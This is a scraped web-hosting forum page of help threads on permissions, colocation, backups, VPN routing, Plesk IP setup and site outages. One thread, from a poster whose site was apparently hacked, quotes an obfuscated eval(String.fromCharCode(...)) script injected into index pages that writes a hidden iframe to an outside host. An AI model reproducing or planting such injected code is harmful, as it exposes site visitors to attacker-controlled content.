Web Site Basics

Jan 2, 2007

I am about to put a program that I have put some serious time and money into, out into the open source world. It is a web based app, written largely in PHP and HTML, with a MySQL database. But I have some questions, so here goes:

1. what should file permissions be for my files? (all files live under the Apache document root dir, i.e. /srv/www/htdocs).

2. what should owner and group be for these files? I have seen root, and I have seen nobody.

3. Two subdirectories need to be writable as well as readable. (for example, let's say the program resides in /srv/www/htodcs/myprog. I have two directories under myprog that need to be writable and readable).

4. And lastly, when my script goes to write in those dirs, I am getting an error, and it is because i am referencing $_SERVER['DOCUMENT_ROOT'], when in fact, I should be referencing the subdirectory under THAT that the user has installed in. Obviously, I haveno control what sub dir they might put it under. Which raises the whole nasty issue of configuration files that might store all this good info, I have read never to put them in the document root dir, but if i don't, where do i put them, and permissions again? I need a decent example of a config file being wirtten thru a web browser!

View 2 Replies


ADVERTISEMENT

CoLocation Basics

May 20, 2008

I have been co-locating servers for well over a year now, and still my overall knowledge is so much lower then I want it to be, so I'm looking for some direct help. Now before I start I will ask that you please bare with me, I understand all of the knowledge I'm looking for is out there on the net somewhere, but as I'm sure many of us would agree, direct assistance is much more valuable, and far less time consuming,

Firstly, my question is about networking. In Los Angeles I'm with a host that provides a direct connection with Mzima. I like Mzima overall, but it would be great to pull in some other providers to further improve that network. Could someone shed some light on how this is done? Also I have heard some things about private peering, can someone shed some light on this as well, and maybe let me know how I can implement it to my rack in L.A.

Kind of on the same topic with networks, what is the deference/benefits of 10/100/1000 ports on servers. Does this just simply mean more bandwidth can be bursted to the server at one time? If so what is the benefit of this for web hosting or game server hosting?

My next question is to do with routers/hubs/firewalls. I will soon have a full rack, and my provider wants be to provide a switch, why would I need my own switch, can't all the servers in the cab be shared to one switch? What type of switch would I need to look into? What about a hardware firewall for my rack, would one be sufficient for all my servers in the rack? How would I go about implementing one?

Any other tips that you guys may have found out the hard way?

A few things I found beneficial that I have done to cover my arse, is kept all the OS's I run on hand in the DC, also have a LiveCD available, as well as backup HDD's. Any other tips among these same preventative lines?

View 14 Replies View Related

From Web Hosting Basics...

Jun 18, 2008

if, i have unfortunately created this new thread in the wrong area, please kindly let me know whether i will be able to eliminate the whole thread. thanks.

new to web hosting and am looking for one.

first question: location of web server.

how important is this issue for someone intends to start e-commerce?

what are the pros and cons to have a web server located within your region?

what are the cons and maybe advantages of having a web server located physically outside your primary customer base?

View 14 Replies View Related

Back To Basics

Feb 11, 2007

I am so mixed-up now that its hard to even figure out what i need to know, so let me tell you a story.....

It started about a week ago, when i first started on the server configuration module of my CIW course. I began to get confused concerning the topic of permissions and access levels in IIS 5. Because of this confusion i started to backtrack what i actually knew (or rather, what i thought i knew) about networks. I now find myself realizing that i am not even sure about the basic
types of networks. Anyway, thank you for your patience so far, and without further a-do here comes the obligatory questions.

I thought that a peer to peer network was any network without a dedicated server, so the hosts (computers) on the network communicated with each other directly. I also thought that once you added a server to the network, all the shares that were once stored on the individual computers are now moved to the server, and that the individual hosts no longer actually communicate with each other to access files, printers, etc.

However, now I am starting to think that i am wrong about this, and that the hosts may indeed still keep some shares on themselves to be accessed by the other hosts on the network.

It is this method of ACCESS that is confusing me.

QUESTION 1
Do the hosts now have to ask the server to fetch the shares on the other hosts, or can each host still have direct access to any other host?

QUESTION 2
A book i have states "a peer-to-peer network does not regulate user access from a central point". To me, this implies that using a server on the network somehow centralizes access, BUT ACCESS TO WHAT??. Does this mean access to the server that has just been installed, or that the server is responsible for giving permission for host "A" to connect to host "B" to access the shares stored on host "B

QUESTION 3
The same book also states (regarding user-level-access and some kind of access list)...."this access list can be central to a particular server or to an entire network"
WHAT THE HELL DOES THAT MEAN???
Does it mean that this list can be either stored on the SERVER (CENTRAL) or EACH HOST("entire network").

I hope one of you guys can figure out,at least, where i am getting confused because the more i read the more i seem to tie myself up

View 2 Replies View Related

Dedicated Server Basics

Dec 21, 2008

I just purchased a dedicated server. I don't know alot about them.

how I can set up an FTP account so I can transfer my files.

The server is running Cent Os with webmin installed.

View 3 Replies View Related

New To Backup Management - Learning The Basics

Apr 5, 2008

Up until now I have not managed a site that needed backups, but that is about to change.

I have a lot of questions, and they are newbie questions. Hope there's some patient people who have time to respond to some of them. If there are tutorials or articles you can recommend that would bring me up to speed, that would be most welcome too.

The project has 1 domain with about 100 subdomains. Each subdomain will have its own CMS and MySQL database.

All will initially exist on one shared server (HostGator reseller account), but will likely be moving to a dedicated or managed server shortly.

Ideally, I would like to have the hosting company manage the backups automatically. I saw a managed server package from webmasters.com that includes automated nightly backup. I am wondering that, if lets just say only 5 of the subdomains had an issue - would I be able to restore just those 5 - or would I have to bring all 100 subdomains back to the restore point?

I am also looking at other options, that I can implement before we move to a managed server.

Those options include:

1) Use CPanel to create a backup on a daily or weekly basis. I think, if memory serves me, that creating a backup of the domain, would include all the subdomains and databases. But - like my earlier question - I think that I would have to bring all 100 subdomains to the restore point if there was even 1 problem.

2) Use an FTP program to create a backup on a daily or weekly basis. I suppose the only investment for that would be my time, and an external hard drive. This solution would allow me to isolate certain subdomains. My question here is - in what file/folder are the MySQL databases stored (its not obvious to me.)

3) Move to a host that provides nightly backups even for their shared servers...

View 5 Replies View Related

Static Routes With Linux & Shorewall (site To Site VPN Virtual Private Network)

Mar 29, 2009

Attached is a (badly) drawn diagram of two sites, connected by a vpn.

The site to the left, is network 10.0.0.0/24 which runs a linux server as the router for the network.

The site to the right, is network 10.1.0.0/24 which runs a windows 2003 server as the router for the network.

Now, my problem is, the clients behind the windows 2003 server can ping any machine on the first network because i setup a static route to route all traffic to 10.0.0.0/24 over the vpn interface.

now, my problem is, only the linux server can ping any machine on the windows 2003 network, any client behind the linux server cant seem to route over the interface.

I have the following route on the linux server: .....

View 0 Replies View Related

Plesk Automation :: Adding Dedicated IP Breaks Site (visitors Land On Default Site)

Apr 14, 2015

Starting point: a working site using a shared IPv4, dedicated IPv6, and SSL. HTTP and HTTPS work, the latter only using SNI of course.

The good news: If I simply allocate an IP resource of 1 to a subscription it is pulled from the pool, assigned to the service node, assigned to the web site, DNS is updated, and the site is automatically changed to using a Dedicated IPv4 and Dedicated IPv6.

The bad news: visitors land on the default web site of the service node, with the default SSL certificate.

Other info: I can't ping the new IP, even though it shows in "ip a l" and /etc/sysconfig/network-scripts/ifcfg-eth0:0. [edited]

After the IP assignment, it is still installed, and /etc/httpd/conf/plesk.conf.d/ip_default/domainname.conf shows the new certificate is being used.

However, a second set of VirtualHost entries is created in server.conf for this IP for ports 80 and 443, with NameVirtualHost enabled on the new IP. The port 443 entry uses the default certificate. Apache's setup this default VirtualHost entry will override the web site configuration because Apache is listening on port 443 with the wrong cert.

If I go to "Change webspace settings" and toggle to Shared IPv4, Dedicated IPv6 the site works again via HTTPS, and Dedicated IPv4 and Dedicated IPv6 breaks it again. Setting the SSL cert to None and back again does not work.

Setting the SSL cert to None, changing to a dedicated IP, and enabling SSL results in the server being inexplicably inaccessible...browsers no longer connect to either the default site or the correct site, and I don't see any entries in the vhosts's logs.

View 6 Replies View Related

Is There Anyone Knows For A Good Hosting,which Is Allowed : Adult Site & Casino Site?

May 21, 2008

is there anyone knows for a good hosting located in uk,which is allowed : adult site and casino betting online site ?

im looking for vps and dedicated server.

please help me i really need as soon as possible.thx

View 2 Replies View Related

How Effective Can Be Lighttpd 4 My Site ( Forum + Filesharing Site )

Jun 16, 2008

I run basicly run two main site.

1.Forum big one .

2.File and image sharing site.

(image sharing site generates thumbnails which produces lots of hits)

In these conditions how much difference can lighttpd can do as compared to apache for keeping my 600 MB Ram VPS host constant.

View 5 Replies View Related

Database Site Vs Comany Site

Jun 29, 2009

I'm on a short assignment to inventory and manage the fixed assets of a small company, and we've just bought a web-based database for this purpose. While I'm pretty good at administering/running local databases, the web part has me stymied. Our company is between IT people, and there's no one on site with any more idea than I have about what's going on!!

Here's what I have so far:

--The company has a website which I'll call "ourwebsite.org" -- which I think, from searching the IP address the website points to, is hosted by HostMySite.com.

--There's also a record in DNS Management with the same name (ourwebsite.org), but pointing to our little server's local IP address.

--I need to find a way to get my database -- which I can access on the network at (server's IP address)/database (ie 0.0.00.0/database) -- online. I tried creating records in DNS Management (for ex., assets.ourwebsite.org) that point to our server's IP (the one that, if I type it in on the network, I can get to the site I'm looking for), but get generic "can't find the page" or "can't connect to the server" errors, even after 72 hours, when trying to access it from off the network.

--If I browse to assets.ourwebsite.org/database on the server itself, I get to the website! But if I go to that page from any other computer, on or off the network, it doesn't work.

--The Server is running Windows Server 2003

So, what are my options? Do I have to talk to the HostMySite.com people to add this page? Shouldn't I just be able to use my server's name (ourcompanyadc.ourcompany.org) and have that route to the server? What's going on here! Is there a simple way to get a tiny local-server-hosted website online outside of the network?

View 2 Replies View Related

Site Shows Another's Site After Transfer

Jan 9, 2008

I just transferred a domain from one cpanel box to another.

Now, that site is showing someone else's page. I've seen this happen before, but I cannot remember the fix.

the virtual host in httpd.conf is fine, shows proper IP, username, docroot, etc

Dns zone is fine as well.

The domain is using the server's main IP, so that's not the cause.

Centos 5 / cpanel 11 / apache 1.3 / php 4x

View 4 Replies View Related

Is It Possible To Relay A Site From My Site?

Aug 28, 2006

is possible to relay a site (say abc.com) from my site (xyz.com), where a viewer should be able to see the site (abc.com) through my site's IP.

View 4 Replies View Related

What If You Can't FTP Into A Site?

Nov 7, 2006

i've got a client who gave me their PW and ID to log into their servers. But for whatever reason, i can't seem to login despite them giving me the right PW and ID.

I want to know if there are other possible reasons for not being able to login via my FTP client [which is filezilla]?

View 4 Replies View Related

Is This Too Much CPU/MEM For One Site

Jun 2, 2008

I found the CPU/MEM/MySQL usage in cPanel (how have I missed it before and when talking with my host (fully managed Liquideb VPS2 768MB RAM 1024 Burst (though it reads it as that I think). Anyways it seems my friends sites are using allot of CPU and RAM. See attached screenshot. He is paying for shared hosting but I was stupid to give him unlimited sites but 1GB space 10GB bandwidth. Am I over reacting, or his his $16/month or 1% of available space (based on 95GB for paying sites) is he using too much?

Here's the screenshot. He is FIshbon, Empower, and rhea and both sites are drupal (along with 2 of my sites one being macwrite and the other personal).

View 5 Replies View Related

For Mp3 Site

Aug 19, 2008

I knw that it is not legal to provide mp3 files for downloads.But still there are thousands of sites which are offering free mp3 downloads.How they are managing it?Are their servers in a country where it is legal.If so,Which country's servers are best for these kind of sites?

View 6 Replies View Related

Site Down Another Not

Jun 22, 2008

My site host in Dreamhost.

why Adulu.com down but Adolu.com not.

check it out

View 5 Replies View Related

Site Down For Some, And Not For Others

Apr 3, 2007

I'm getting emails that my site is down and does not load. But it's working find for others. 1 person is in Vancouver, and the other in Ontario.

View 4 Replies View Related

My Site Is Down Again

Feb 6, 2007

I got this in my email cpsrvd failed @ Tue Feb 6 08:33:22 2007. A restart was attempted automagicly.

I checked that all of my sites that are using php program doesn't work. Genetips.com doesn't work.

So I restarted the server.

Now, the site "work" but they cannot access database.

Accessing genetips.com will show that databases cannot be accessed.

View 5 Replies View Related

Site Rip [url]

May 17, 2007

These guys ripped our entire site - if they will do that, imagine what they will do to you if you sign up with them.

Ridiculous.

[url]

These guys are unbelievable they didn't even comment out our name or address, shocking.

View 14 Replies View Related

Where To Put This Site

May 31, 2007

I am doing a site for a local charity. I have decided to create it with the Joomla! CMS. Now, currently the old site (frontpage) is hosted on a Zeus system (whatever that is!).

Does anyone know about this type of host and if its compatible?

I have Joomla hosted locally at the moment to start development but have no idea if its going to work or what configuration will need to be done when I try to port it over.

The only thing they have told me is that I will have to destroy the old site to get the new one up and running (because of Frontpage settings).

View 4 Replies View Related

SITE WAS HACKED!

Jul 27, 2008

A client's site was hacked last week and spyware or some kind of trojan was put on it. I found some files that didn't belong in the images folder and proceeded to delete them, however, when I submitted the site back to Google for review, the report came back saying there was still malware on the site. They didn't provide me with the location of the spyware, so what can I do to find it and delete it?

View 6 Replies View Related

My Site Has Been Hacked

Oct 1, 2007

One of my clients has just sent me a bounced email to an address she had never heard of. This made me suspect my server had been hacked and was being used for a scam.

Sure enough, I found a file in one of my folders, that was related to a Bank of America scam.

I have since put a password on this folder. But does anyone have any advice on how to secure the site to prevent this happening again? It is a shopping cart and the 'rogue' file was in the admin area of the shopping cart.

View 10 Replies View Related

SSL On Normal Site ?

Jan 2, 2008

I had a client ask me earlier if there was any downsides to having his main site be SSL only ,not his billing his actual site.

For exmaple it would be https://www.yoursite.com rather than the normal http and having that redirect to the https.

Obviously he would need all his images being linked to https in order for it to be secure but apart from that, I couldn't think of any of the top of my head, I was wondering what you guys all thought.

View 3 Replies View Related

Best Web Site Hosting For ASP.NET 2.0 & SQL

Dec 18, 2006

As somebody who has bought the 'Build Your Own ASP.NET 2.0 Web Site Using C# & VB' by CRISTIAN DARIE and ZAK RUVALCABA, I wonder what Hosting deals are considered the best and most user friendly (robust and support).

By this I mean, the most competitive for users like me who are just learning the technology and maybe want to set up some basic book examples online using SQL 2005.

View 0 Replies View Related

My Site Cannot Run Php Files

Jun 2, 2009

my site cannot run php files

move from server 1 to server 2

another site no ploblem move from server 1 to server 2 too

What ploblem i need fix this

here my site

[url]

View 5 Replies View Related

Site Up And Down- Am I Being Hacked

Jun 22, 2009

My site keeps going down every 10 minutes. It'll be online for 10 minutes, than down for another 10 minutes. It's been happening for like the past 3-4 hours. I can log into WHM without any problems, but the site itself site keeps crashing!

And last week somehow I found the code in all my index and home pages. Not any of my other pages like food.html or sleep.php, just the index.php and home.html type of pages.

Quote:

<script type="text/javascript" src="swfobject.js"></script>

<body><script type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,113,119,61,49,50,51,49,49,49,51,43,50,53,59,118,97,114,32,103,104,103,52,53,61,34,107,97,11 4,34,59,118,97,114,32,119,61,34,108,97,115,116,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,11 4,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,3 9,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104, 50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114, 39,43,39,97,109,101,62,39,41,59,32,102,117,110,99,116,105,111,110,32,103,103,54,51,52,53,40,41,123,118,97,114,32,97,115,51,49,49,51,61,57,43,55,53,52, 52,59,125,32,118,97,114,32,109,110,98,113,61,52,51,48,52,49,56,50,52))</script>
</body>
</html>

What the heck is going on?

View 12 Replies View Related

Web Site On The Fqdn Url

May 27, 2009

Is there any pro`s / cons about setting up a site (1 page/ image)on the url of the server fqdn.

What`s best practise, does it even matter?

ie.

[url]
[url]

I dont particularly require a site on the url and www.mydomain.com 404`s at present.

View 2 Replies View Related

Registration Site - What Do I Need

Oct 5, 2009

I am building a Web Registration System so people can register to attend seminars that I will be giving.

What basic web-hosting functionality and features will I need when I get a web-hosting account?

(I plan on using PHP and MySQL, so that is a given!)

Questions:

1.) For starters, can I safely host my site on a "Shared" server?

2.) I assume I'll need to buy a Static IP Address, right?

3.) And probably a Security Certificate as well for the Registration part?

4.) Anything else obvious?

View 11 Replies View Related

Site Cluster

May 2, 2009

What is the best way to make sure my website is 100% available all the time.

View 3 Replies View Related

VPS For Radio Site

Apr 3, 2009

One of my client want to start a new radio site.So will a VPS work out for him?

View 5 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved